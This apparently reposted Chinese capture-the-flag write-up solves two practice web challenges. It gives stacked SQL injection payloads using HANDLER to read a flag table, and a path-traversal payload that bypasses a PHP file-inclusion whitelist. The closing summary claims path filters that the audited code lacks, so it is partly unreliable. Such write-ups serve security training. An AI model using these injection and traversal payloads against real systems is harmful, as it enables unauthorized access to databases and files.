欢迎光临
我们一直在努力

双剑破天门:攻防世界Web题解之独孤九剑心法(九)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Supersqli

二:Warmup

三:总结

1.supersqli

2.Warmup


一:Supersqli

打开如下所示,初步筛查这应该是一道SQL注入题

这确实是一道SQL注入

1’ or 1=1 #

那接下来就是查询字段数

字段数为2

1’ order by 2 #

查询数据库

正常的查询发现不行,被过滤了

但是没有过滤分号那就可以堆叠注入联合show

1’;show tables ;#

成功查询到一个特殊的表

1';show columns from `1919810931114514`;#

查询发现此表含flag但select被过滤如何查询flag

利用handler代替select 查询

payload:1';handler `1919810931114514` open as `a`;handler `a` read next;#   

查询该表的数据

成功拿到flag


二:Warmup

点开发现有提示source.php

访问source.php和hint.php

是一堆代码,进行代码审计

访问hint.php提示我们flag在ffffllllaaaagggg


代码审计:

<?php
highlight_file(__FILE__); //代码高亮
class emmm
{
public static function checkFile(&$page) //checkFile用于检查文件参数是否合法&$page 表示通过引用传递参数,这样在函数内部对 $page 的修改会影响到函数外部的变量。
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义一个白名单数组,里面包含允许包含的文件名(source.php和hint.php)
if (! isset($page) || !is_string($page)) { //第一个if功能为检查$page是否存在且为字符串类型如果不是则返回false
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) { ///检查$page是否存在于白名单中存在则返回true
return true;
}

$_page = mb_substr( //截取$page中?之前的部分存在$_page(mb_substr是字符串截取函数,mb_strpos是字符串查找函数)
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //检查截取后$_page是否在白名单中存在则返回true
return true;
}

$_page = urldecode($page); //对$page进行url解码
$_page = mb_substr( //截取?之前的部分存在$_page中
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //检查解码并截取后的$_page是否在白名单中存在则返回true
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file']) //也就是说只有过掉checkFile方法才可以包含文件
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
}
?>


经过如上审计我们得知如果想要拿到flag就需过掉checkfile方法,那checkfile方法有四个if判断语句

第一个判断语句就是判断我们传进去的是否为不为空且是字符串

第二个判断语句判断我们传的值是否在白名单中

第三个判断截取?之前部分后是否在白名单中

第四个判断语句判断对我们传的值URL解码截取后是否在白名单中

总得来说我们正常包含文件时/source.php?file=……..

但是他第三年个和第四个判断语句只截取?之前的而file则被筛掉导致无法包含

所以只要我们变换一下顺序即可且第二个到第四个if判断只要有一个绕过即可。

Payload:?file=source.php?../../../../../../ffffllllaaaagggg   (绕过第三个if判断)

Payload:/source.php?file=source.php?../../../../../../ffffllllaaaagggg(这样也可以)

成功拿到flag


三:总结

1.supersqli

SQL注入漏洞,考察绕过过滤和堆叠注入技巧

解题要点

  • 过滤检测:题目对常见的SQL注入关键字进行了过滤,如select, update, delete等

  • 堆叠注入:发现可以使用分号;进行堆叠注入

  • 绕过方法:

    • 使用prepare和execute预处理语句绕过过滤

    • 或者使用handler语句代替select进行数据读取

  • 关键payload:

    1';handler `1919810931114514` open as `a`;handler `a` read first;#

  • 学习收获

    • 堆叠注入的实际应用

    • 预处理语句在SQL注入中的使用

    • handler语句作为select的替代方案

    • 字符串拼接绕过关键字过滤的技巧


    2.Warmup

    代码审计与文件包含漏洞

    解题要点

  • 源码分析:通过查看页面源码发现提示source.php

  • 文件包含:访问source.php获取源代码进行审计

  • 漏洞点:

    • 存在文件包含功能,但添加了../和..\\的过滤

    • 使用checkFile函数进行白名单检查

  • 绕过方法:

    • 利用四层目录结构../../../../绕过检查

    • 最终payload构造为file=source.php?../../../../../ffffllllaaaagggg

  • 学习收获

    • PHP代码审计的基本方法

    • 文件包含漏洞的利用技巧

    • 目录遍历的绕过方法

    • 白名单检查机制的绕过思路

    综合对比

    方面

    Supersqli

    Warmup

    漏洞类型

    SQL注入

    文件包含

    主要技巧

    堆叠注入、预处理语句、handler语法

    目录遍历、白名单绕过

    过滤机制

    关键字过滤

    路径符号过滤

    解题关键

    找到未被过滤的替代语法

    构造足够深的目录结构绕过检查

    难度等级

    简单

    简单


    (需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

    赞(0)
    未经允许不得转载:171主机测评 » 双剑破天门:攻防世界Web题解之独孤九剑心法(九)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址